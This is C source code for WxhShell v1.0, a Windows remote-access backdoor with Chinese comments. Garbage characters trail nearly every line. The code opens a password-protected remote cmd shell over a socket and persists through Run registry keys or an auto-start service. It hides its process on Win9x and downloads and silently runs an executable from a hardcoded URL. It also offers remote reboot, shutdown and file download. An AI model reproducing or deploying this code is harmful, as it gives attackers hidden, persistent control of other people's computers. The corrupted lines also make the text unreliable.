    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j@YU|-\qh  
    else { u%w`:v7Yo(  
    closesocket(wsh); &f ^,la  
    ExitThread(0); ;\f gF@  
    } ma"3qGy  
    break; $2W%2rZ  
    } \v'p/G)g  
  // 获取shell ZosP(Tdq  
  case 's': { ;W>k@L  
    CmdShell(wsh); a)wJT`xu  
    closesocket(wsh); {zMU#=EC  
    ExitThread(0); DRcNdO/1E  
    break; &*+'>UEe5  
  } j'A_'g'^  
  // 退出 TWA-.>c  
  case 'x': { ILGMMA_2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a!=D[Gz*5  
    CloseIt(wsh); z6*X%6,8  
    break; M7pOLP_1jB  
    } \O2Rhz  
  // 离开 *MKO I'  
  case 'q': { G"h'_7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wne,e's}   
    closesocket(wsh); gt@m?w(  
    WSACleanup(); wOU_*uY@6'  
    exit(1); jPUwSIP  
    break; 3kybLOG  
        } e)d`pQ6  
  } #d6)#:uss  
  } <0Xf9a8>  
=vX/{C  
  // 提示信息 i<#QW'R(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Gj3:-xqL  
} RoPRQCE  
  } ~E17L]ete  
e"|efE  
  return; }\B><E{G  
} 0Tx6zO  
Ayxkv)%:@)  
// shell模块句柄 b,7k)ND1F  
int CmdShell(SOCKET sock) Mk"^?%PxT  
{ |-:()yxs  
STARTUPINFO si; p{r}?a  
ZeroMemory(&si,sizeof(si)); 9jM}~XvV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xi~?>f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l+KY)6o  
PROCESS_INFORMATION ProcessInfo; J')o|5S1N  
char cmdline[]="cmd"; ztcp/1jIvS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +r2+X:#~T  
  return 0; aTH{'mN  
} E(>=rD/+  
u^^[Q2LDU}  
// 自身启动模式 6m}Ev95  
int StartFromService(void) 6]K_m(F  
{ <cps2*'  
typedef struct we;-~A5J  
{ ?WGA?J %2  
  DWORD ExitStatus; V5+=e^pa2  
  DWORD PebBaseAddress; 3c-GY:VkLM  
  DWORD AffinityMask; jys:5P  
  DWORD BasePriority; K@ I 9^b  
  ULONG UniqueProcessId; 8V'~UzK  
  ULONG InheritedFromUniqueProcessId; xQ f*  
}   PROCESS_BASIC_INFORMATION; 03$mYS_?  
5TH~.^`Fi  
PROCNTQSIP NtQueryInformationProcess; LBw1g<&  
Ytn9B}%o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;AG8C#_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5'OrHk;u  
b6,iZ+]  
  HANDLE             hProcess; /CrSu  
  PROCESS_BASIC_INFORMATION pbi; 5%Y3 Kwyy  
?>7[7(|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R$R *'l  
  if(NULL == hInst ) return 0; j`{?OYD  
C7]f*TSC4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E^ B'4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /:cd\A}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OAgniLv  
u+9hL4  
  if (!NtQueryInformationProcess) return 0; )HEa<P^kJl  
>xN .F/[K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fBU`k_  
  if(!hProcess) return 0; &h}#HS>l  
_P!m%34|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p?02C# p  
akmkyrz'&  
  CloseHandle(hProcess); ]_)yIi"  
" s,1%Ltt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C"y(5U)d  
if(hProcess==NULL) return 0; vx{}}/B]J  
!Z1@}`V&;  
HMODULE hMod; % aP!hy  
char procName[255]; Lc}LGq!  
unsigned long cbNeeded; T6'^EZZY  
N:^n('U&j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1a/++4O.|  
YX!iL6?~  
  CloseHandle(hProcess); N"Z{5A  
G?yLo 'Ulo  
if(strstr(procName,"services")) return 1; // 以服务启动 irZ])a  
49eD1h3'X[  
  return 0; // 注册表启动 |44Ploz2b  
} |NlO7aQ>2H  
~?l | [  
// 主模块 ~$c\JKH-  
int StartWxhshell(LPSTR lpCmdLine) 1v y*{D  
{ q9B$" n  
  SOCKET wsl; xH ]Ct~ md  
BOOL val=TRUE; )L? P}$+  
  int port=0; ,Co|-DYf}  
  struct sockaddr_in door; !M(xG%M-V  
[DuttFX^x  
  if(wscfg.ws_autoins) Install(); :'Vf g[Uq  
)705V|v  
port=atoi(lpCmdLine); Zj(AJ*r  
VG5i{1  0  
if(port<=0) port=wscfg.ws_port; _YRFet[,m  
z'Hw  
  WSADATA data; ;[ZEDF5H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j;zM{qu_  
/l3V3B7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7^avpf)>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +L$Xv  
  door.sin_family = AF_INET; 8|gIhpO?^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I^.Om])  
  door.sin_port = htons(port); O 2V  
Cp\6W[2+B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { poE0{HOU  
closesocket(wsl); ~g91Pr   
return 1; #<fRE"v:Q  
} p%ki>p )E|  
gt) I(  
  if(listen(wsl,2) == INVALID_SOCKET) { g>%o #P7  
closesocket(wsl); 8]c2r%J  
return 1; n9\TO9N  
} G/E+L-N#`  
  Wxhshell(wsl); KYm0@O>;  
  WSACleanup(); &C_j\7Dq  
 $c!p&  
return 0; A`%k:@  
}RF(CwZr(  
} phXGn m  
rI{; IDV  
// 以NT服务方式启动 Z-%\ <zT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ic:zsuEm  
{ G[PtkPSJ  
DWORD   status = 0; ScOK)nL"  
  DWORD   specificError = 0xfffffff; 38B2|x  
4> K42m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =jN.1}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b=C*W,Q_#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zpn9,,~u  
  serviceStatus.dwWin32ExitCode     = 0; , >a&"V^k  
  serviceStatus.dwServiceSpecificExitCode = 0; WCZjXDiwJ  
  serviceStatus.dwCheckPoint       = 0; :U|1xgB  
  serviceStatus.dwWaitHint       = 0; )rU  
|d2SIyUc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dFxIF;C>/  
  if (hServiceStatusHandle==0) return; DeVv4D:}@  
),%%$G\  
status = GetLastError(); K8|r&`X0  
  if (status!=NO_ERROR) ;?Tbnn Wn  
{ LVM%"sd?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n` _{9R  
    serviceStatus.dwCheckPoint       = 0; ,&A7iO  
    serviceStatus.dwWaitHint       = 0; dl)Y'DI  
    serviceStatus.dwWin32ExitCode     = status; [\e eDa  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z?q] bSIT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^LnTOdAE  
    return; B3`5O[ 6  
  } {lzWrUGO  
gx/,)> E.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =ZznFVJ`={  
  serviceStatus.dwCheckPoint       = 0; dES"@?!^  
  serviceStatus.dwWaitHint       = 0; Evq IcZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bSlF=jT[S  
} "]*&oQCI  
lN)C2 2  
// 处理NT服务事件,比如:启动、停止 z|J_b"u4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HVCe;eI  
{ ?=msH=N<l  
switch(fdwControl) /U*C\ xMm  
{ J1U/.`Oy  
case SERVICE_CONTROL_STOP: q[_Vu A]&  
  serviceStatus.dwWin32ExitCode = 0; oH?b}T=9jz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p<FzJ   
  serviceStatus.dwCheckPoint   = 0; HyQJXw?A:  
  serviceStatus.dwWaitHint     = 0; O/(`S<iip  
  { }"H,h)T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R%WCH?B<}  
  } r|8d 4  
  return; cl3K<'D  
case SERVICE_CONTROL_PAUSE: a.\:T,cP>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3ZPWze6  
  break; < NY^M!  
case SERVICE_CONTROL_CONTINUE: H2 {+)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u~:y\/Y6  
  break; 05#1w#i  
case SERVICE_CONTROL_INTERROGATE: Y]_ruDIW  
  break; 1-uxC^u?|#  
}; m 9WDT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & ywPuTt  
} ~Ffo-Nd-  
:RTC!spy  
// 标准应用程序主函数 4Z=_,#h4.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >2)OiQ`zg  
{  DPxM'7  
r,3DTBe  
// 获取操作系统版本 ?3,:-"(@p  
OsIsNt=GetOsVer(); jOunWv|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZQsJL\x[UK  
1=c\Rr9]  
  // 从命令行安装 &{hL&BLr  
  if(strpbrk(lpCmdLine,"iI")) Install(); 49c:V,  
d"mkL-  
  // 下载执行文件 .G. 0WR/2  
if(wscfg.ws_downexe) { `AtBtjs RV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IMFDM."s  
  WinExec(wscfg.ws_filenam,SW_HIDE); t|\%VC  
} I*{ nP)^9  
d L 1tl  
if(!OsIsNt) { LmrfN?5  
// 如果时win9x,隐藏进程并且设置为注册表启动 myQagqRx  
HideProc(); ~H_/zK6e  
StartWxhshell(lpCmdLine); kCF>nt@  
} dq6m>;`  
else _/$Bpr{R  
  if(StartFromService()) (N6i4 g6  
  // 以服务方式启动 k Z .gO  
  StartServiceCtrlDispatcher(DispatchTable); }'V5/>m[  
else [PM 2\#K  
  // 普通方式启动 (Z q/  
  StartWxhshell(lpCmdLine); jD]~ AwRJ  
6I4\q.^qw  
return 0; ]@c+]{  
} A RuA<vQ  
Y_IF;V\  
sqwGsO$#  
jXx<`I+]  
=========================================== Yui3+}Ms  
rQs)O<jl  
8 +/rlHp  
(0r3/t?DQ  
L.2^`mZs  
ZohCP  
" _ QI\  
z+wA rPxc  
#include <stdio.h> G@\1E+Ip  
#include <string.h> $y&E(J  
#include <windows.h> BwGfTua  
#include <winsock2.h> Id'-&tYG  
#include <winsvc.h> =l;ewlU  
#include <urlmon.h> faX#**r  
X1|njJGO1  
#pragma comment (lib, "Ws2_32.lib") W~; `WR;.  
#pragma comment (lib, "urlmon.lib") Lc,Pom  
~9]hV7y5C  
#define MAX_USER   100 // 最大客户端连接数 w~A{(- dx  
#define BUF_SOCK   200 // sock buffer hGe/ ;@%  
#define KEY_BUFF   255 // 输入 buffer dJoaCf`w  
~s*)f.l  
#define REBOOT     0   // 重启 X6X $Pve  
#define SHUTDOWN   1   // 关机 )gIKH{JYL  
0B/,/KX  
#define DEF_PORT   5000 // 监听端口 Su7?;Oh/yI  
$\BE&4g  
#define REG_LEN     16   // 注册表键长度 S(I{NL}= $  
#define SVC_LEN     80   // NT服务名长度  hoUD;3  
i2Qz4 $z  
// 从dll定义API YMcD|Kbp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u#$]?($}d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y|f[bw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mt{nm[D!Xp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0/MtYIYk  
pfDc9PMj  
// wxhshell配置信息 - t'jNR'  
struct WSCFG { Y'S%O/$  
  int ws_port;         // 监听端口 - q1?? u  
  char ws_passstr[REG_LEN]; // 口令 5h-SCB>P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tod&&T'UW  
  char ws_regname[REG_LEN]; // 注册表键名 &\WSQmtto  
  char ws_svcname[REG_LEN]; // 服务名 BC#C9|n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uAJx.>$b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NZLxHD]mp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @[<><uTH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _Xc8Yg }`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :Zbg9`d*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jh%Eq+#S  
Vpz\.]  
}; q4:o#K#  
,+DG2u  
// default Wxhshell configuration 8,4"uuI  
struct WSCFG wscfg={DEF_PORT, { ]{/t-=  
    "xuhuanlingzhe", VU(v3^1"  
    1, EF[@$j   
    "Wxhshell", {_[N<U:QT&  
    "Wxhshell", 'Ym9;~(@R  
            "WxhShell Service", vXf!G`D  
    "Wrsky Windows CmdShell Service", feDlH[$  
    "Please Input Your Password: ", t7Iv?5]N  
  1, HZC"nb}r4  
  "http://www.wrsky.com/wxhshell.exe", x.!V^HQSN  
  "Wxhshell.exe" ZF9z~9  
    }; ]?kZni8j_  
2\MT;;ZTZ  
// 消息定义模块 4K#>f4(U`g  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xQ-<WF1i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *xxx:*6rk;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KE5kOU;  
char *msg_ws_ext="\n\rExit."; q]ku5A\y  
char *msg_ws_end="\n\rQuit."; kW Ml  
char *msg_ws_boot="\n\rReboot..."; p Z|V 3  
char *msg_ws_poff="\n\rShutdown..."; x_N'TjS^{  
char *msg_ws_down="\n\rSave to "; (l~AV9!m:  
RUnSCOdX  
char *msg_ws_err="\n\rErr!"; _?m(V=z>  
char *msg_ws_ok="\n\rOK!"; Eex~xiiV  
x:NY\._  
char ExeFile[MAX_PATH]; S]e|"n~@  
int nUser = 0; _~l5u8{^6  
HANDLE handles[MAX_USER]; WdH$JTk1  
int OsIsNt; ;>EM[u  
>=I|xY,  
SERVICE_STATUS       serviceStatus; #4Rx]zW^%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TCwFPlF|  
o4F2%0gJ  
// 函数声明 s^G.]%iU  
int Install(void); A@!qv#'  
int Uninstall(void); r[`9uVT/  
int DownloadFile(char *sURL, SOCKET wsh); -8ywO"6  
int Boot(int flag); oi&VgnSk  
void HideProc(void); HSE!x_$  
int GetOsVer(void); +ZaSM~   
int Wxhshell(SOCKET wsl); ~?Qe?hB  
void TalkWithClient(void *cs); S}m)OmrmA  
int CmdShell(SOCKET sock); YW,tCtI0_  
int StartFromService(void); Cx@);4arj  
int StartWxhshell(LPSTR lpCmdLine); n`?aC|P2s  
1y@i}<9F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;40/yl3r3[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fx_z6a  
sk<3`x+  
// 数据结构和表定义 Pe_W;q.  
SERVICE_TABLE_ENTRY DispatchTable[] = )np:lL$$  
{ :1. L}4"gg  
{wscfg.ws_svcname, NTServiceMain}, shy-Gu&  
{NULL, NULL} v!-/&}W)1  
}; 36&e.3/#  
F4-$~ v@  
// 自我安装 K*vt;L  
int Install(void) In"ZIKaC  
{ @su^0 9n  
  char svExeFile[MAX_PATH]; |/|5UiX7  
  HKEY key; b5dD/-Vj  
  strcpy(svExeFile,ExeFile); E1aHKjLQ  
O_ muD\  
// 如果是win9x系统,修改注册表设为自启动 njB;&N)I  
if(!OsIsNt) { oQ/E}Zk@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]KKS"0a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  c(f  
  RegCloseKey(key); T?CdZc.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~OYiq}g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x*\Y)9Vgy  
  RegCloseKey(key); { =9,n\85#  
  return 0; av8B-GQI*#  
    } %8B}Cb&2c  
  } iJI }TVep#  
} I3{PZhU.  
else { CAig ]=2'  
:S{BbQ){]  
// 如果是NT以上系统,安装为系统服务 \j}ZB<.>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9rA0lqr]5  
if (schSCManager!=0) "+R+6<"  
{ $lfn(b,  
  SC_HANDLE schService = CreateService _2Zx?<] 2E  
  ( h9&0Z +zs  
  schSCManager, !3c\NbU  
  wscfg.ws_svcname, 1Z/(G1  
  wscfg.ws_svcdisp, 13$%,q)  
  SERVICE_ALL_ACCESS, u OmtyX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R3)~?X1n  
  SERVICE_AUTO_START, i(rL|d+'  
  SERVICE_ERROR_NORMAL, >;aWz%-  
  svExeFile, z3{G9Np  
  NULL, n:I,PS0H<  
  NULL, c)6m$5]  
  NULL, fZGX}T<)p-  
  NULL, .ljnDL/  
  NULL pGP7nw_g  
  ); U*rcd-@  
  if (schService!=0) DD+7V@  
  { :DK {Vg6  
  CloseServiceHandle(schService); 8?B!2  
  CloseServiceHandle(schSCManager); !]A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0I-9nuw,^;  
  strcat(svExeFile,wscfg.ws_svcname); ('4_ xOb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [NjXO`5#]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k{R>  
  RegCloseKey(key); 60^`JVGWH  
  return 0; p;`>e>$  
    } j1Y~_  
  } 4B8 oO  
  CloseServiceHandle(schSCManager); XFVE>/H  
} fh&nu"&  
} v|)4ocFK  
1W c=5!  
return 1; nK1Slg#U  
} >mbHy<<  
9d0@wq.  
// 自我卸载 =g7x' kN  
int Uninstall(void) ;Zcswt8]u  
{ gs^Xf;g vI  
  HKEY key; *?@?f&E/  
]\-A;}\e  
if(!OsIsNt) { ch*8B(:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (U D nsF  
  RegDeleteValue(key,wscfg.ws_regname); o*+"|  
  RegCloseKey(key); d~])K#oJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h"B+hu  
  RegDeleteValue(key,wscfg.ws_regname); 6%\J"AgXO  
  RegCloseKey(key); \Gef \   
  return 0; Y,qI@n<  
  } hk;5w{t}}  
} v4a8}G  
} +qN>.y!Y  
else { r5S[-`s;  
'0;l]/i.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^ox=HNV  
if (schSCManager!=0) j.[.1G*("  
{ zF`0J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d(ZO6Nr Q  
  if (schService!=0) &N$<e(K  
  { z#9aP&8Q  
  if(DeleteService(schService)!=0) {  h},IF  
  CloseServiceHandle(schService);  Po+.&7F  
  CloseServiceHandle(schSCManager); X;+sUj8  
  return 0; ~Py`P'+  
  } ;DQ ZT  
  CloseServiceHandle(schService); A7 {\</Z  
  } P_^ +A  
  CloseServiceHandle(schSCManager); L?b~k=  
} w?PkO p  
} Qab>|eSm  
+uF>2b6'  
return 1; -u+vJ6EY  
} Gm&Za,4%4  
s2p\]|5  
// 从指定url下载文件 j<m(PHSe  
int DownloadFile(char *sURL, SOCKET wsh) 3GYw+%Z]  
{ etDk35!h~,  
  HRESULT hr; +%z> H"J.  
char seps[]= "/"; Hzm:xg  
char *token; @,j*wnR  
char *file; @f>-^  
char myURL[MAX_PATH]; '`[&}R  
char myFILE[MAX_PATH]; oi7@s0@  
fivw~z|[@  
strcpy(myURL,sURL); zy?|ODM  
  token=strtok(myURL,seps); 5:[0z5Hww  
  while(token!=NULL) 0(}t8lc  
  { f].h^ ~.q  
    file=token; ]"As1"  
  token=strtok(NULL,seps); 0@0w+&*"@  
  } KJUH(]>F  
(*9$`!wS  
GetCurrentDirectory(MAX_PATH,myFILE); x3=A:}t8  
strcat(myFILE, "\\"); 8.1c?S  
strcat(myFILE, file); 'T;P;:!\  
  send(wsh,myFILE,strlen(myFILE),0); _IHV7*u{;  
send(wsh,"...",3,0); :1Xz4wkWS*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >0y'Rgfe  
  if(hr==S_OK) ;3coP{  
return 0; wYXQlxdy  
else :wyno#8`-  
return 1; Vi$~-6n&  
"m$##X\  
} IZ-1c1   
J9nX"Sb  
// 系统电源模块 PCee<W_%YE  
int Boot(int flag) / y40(l?  
{ \[i1JG  
  HANDLE hToken;  `,*3[  
  TOKEN_PRIVILEGES tkp; [ZwjOi:)  
lN 4oW3QT  
  if(OsIsNt) { fCn^=8KOZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r| wS<cA2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s-!ArB,  
    tkp.PrivilegeCount = 1; #powub  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z]y.W`i   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~8Fk(E_  
if(flag==REBOOT) { ;\dBfP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z9ZPr?C=  
  return 0; +4~_Ei[i  
} ./Zk`-OBT  
else { Lnl(2xD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :K,i\  
  return 0; T@B/xAq5!  
} /N10  
  } x_Y!5yg E  
  else { H [\o RId  
if(flag==REBOOT) { oG?Xk%7&\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _Kf%\xg  
  return 0; 3AtGy'NTp  
} q-2Bt,Y  
else { ] IQ&>z}<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YQvD|x  
  return 0; ZgcMv,=  
} R$<&ie6UQ  
} ',@3>T**  
`:KY\  
return 1; M#6W(|V/  
} 7hcYD!DS  
<oV(7  
// win9x进程隐藏模块 7M~K,E(7~  
void HideProc(void) s WvBv  
{ ,AFu C <  
lIS-4QX1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e{K 215  
  if ( hKernel != NULL ) -zgI_u9=EB  
  { 7t0=[i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bl;1i@Z*M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z]Cq3~l  
    FreeLibrary(hKernel); I-*S&SiXjI  
  } #&aqKV Y  
3z?> j]  
return;  skViMo  
} D2 eckLT  
D?_Zl;bQ'^  
// 获取操作系统版本 }@+0/W?\.  
int GetOsVer(void) YnAm{YyI  
{ lvz7#f L~  
  OSVERSIONINFO winfo; azp):*f("  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P l]O\vh  
  GetVersionEx(&winfo); 5c0 ZRV#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \ :sUL!  
  return 1; xJ8M6O8  
  else "?xHlYj@+  
  return 0; D=Gtq6jd  
} WX?IYQ+  
k$R-#f;  
// 客户端句柄模块 sIGMA$EK  
int Wxhshell(SOCKET wsl) S`0(*A[W*  
{ u|TeE\0  
  SOCKET wsh; %T%sGDCV  
  struct sockaddr_in client; IfAZn_  
  DWORD myID; 9}<ile7^  
<0&*9ZeD  
  while(nUser<MAX_USER) xF'EiX~  
{ q dBrQC  
  int nSize=sizeof(client); zKJ#`OhT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d#4**BM  
  if(wsh==INVALID_SOCKET) return 1; 0@iY:aF  
}rw8PZ9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WlC:l  
if(handles[nUser]==0) k"iOB-@B+  
  closesocket(wsh); ?mxMk6w  
else K`zdc`/  
  nUser++; m@v\(rT.  
  } k"zv~`i'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )U:m:cr<  
97C]+2R%^  
  return 0; u?(d gJ  
} qi D@'Va\  
k2tF}  
// 关闭 socket @9RM9zK.q  
void CloseIt(SOCKET wsh) {qJ1ko)$  
{ L+i=VGm0  
closesocket(wsh); BG]#o| KW  
nUser--; ?X<eV1a   
ExitThread(0); Zt{[ *~  
} L48_96  
Hd ={CFip  
// 客户端请求句柄 A[{yCn`tM  
void TalkWithClient(void *cs) ,Ah;A[%?~  
{ FHg 9OI67  
8^1 Te m  
  SOCKET wsh=(SOCKET)cs; D.u{~  
  char pwd[SVC_LEN]; mL{6L?  
  char cmd[KEY_BUFF]; vw/J8'  
char chr[1]; uh  > ; 8  
int i,j; Flm%T-Dl  
~4Fvy'  
  while (nUser < MAX_USER) { >tV{Pd1  
sBg.u  
if(wscfg.ws_passstr) { %pL''R9VF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0znR0%~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _8UU'1d  
  //ZeroMemory(pwd,KEY_BUFF); 'S&zCTX7j  
      i=0; wE`]7mA  
  while(i<SVC_LEN) { 16(QR-  
AH7}/Rc  
  // 设置超时 wc4{)qDE  
  fd_set FdRead; By4<2u38u  
  struct timeval TimeOut; '-XXo=>0MV  
  FD_ZERO(&FdRead); s*]}QmRpr  
  FD_SET(wsh,&FdRead); KRRdXx\~  
  TimeOut.tv_sec=8; qqY"*uJ'  
  TimeOut.tv_usec=0; oAeUvmh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2uW; xfeY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0IBSRFt$g&  
(iX+{a%"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y\8)OBZ  
  pwd=chr[0]; O m2d .7S  
  if(chr[0]==0xd || chr[0]==0xa) { ?NsW|w_  
  pwd=0; =X:Y,?  
  break; E*K;H8}s  
  } )F]]m#`  
  i++; zHRplm+ i  
    } xfe+n$~ c  
jm/`iXnMf  
  // 如果是非法用户,关闭 socket `1fY)d^ZS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e6$WQd`O  
} y_-0tI\J  
M!^az[[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Yq@;e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cR<fJ[*  
lX4 x*  
while(1) { "@0]G<H  
+iRh  
  ZeroMemory(cmd,KEY_BUFF); ENs&RZ;  
JL{VD /f  
      // 自动支持客户端 telnet标准   Lk}J8 V^2  
  j=0; 7~.9=I'A  
  while(j<KEY_BUFF) { V {ddr:]4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dp-z[]})1  
  cmd[j]=chr[0]; ]Q)OL  
  if(chr[0]==0xa || chr[0]==0xd) { DsCcK3 k  
  cmd[j]=0; uz jU2  
  break; @`- 4G2IU}  
  } JP [K;/  
  j++; y}ev ,j  
    } >U27];}y  
fJ!R6D  
  // 下载文件 fuf"Ae  
  if(strstr(cmd,"http://")) { )zdQ1&@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bn&ze.F  
  if(DownloadFile(cmd,wsh)) n9ej7oj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,Dl` w  
  else M!D3}JRm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z o(rTCZX  
  } f?X)k,m  
  else { k=T\\]KxC  
?J >  
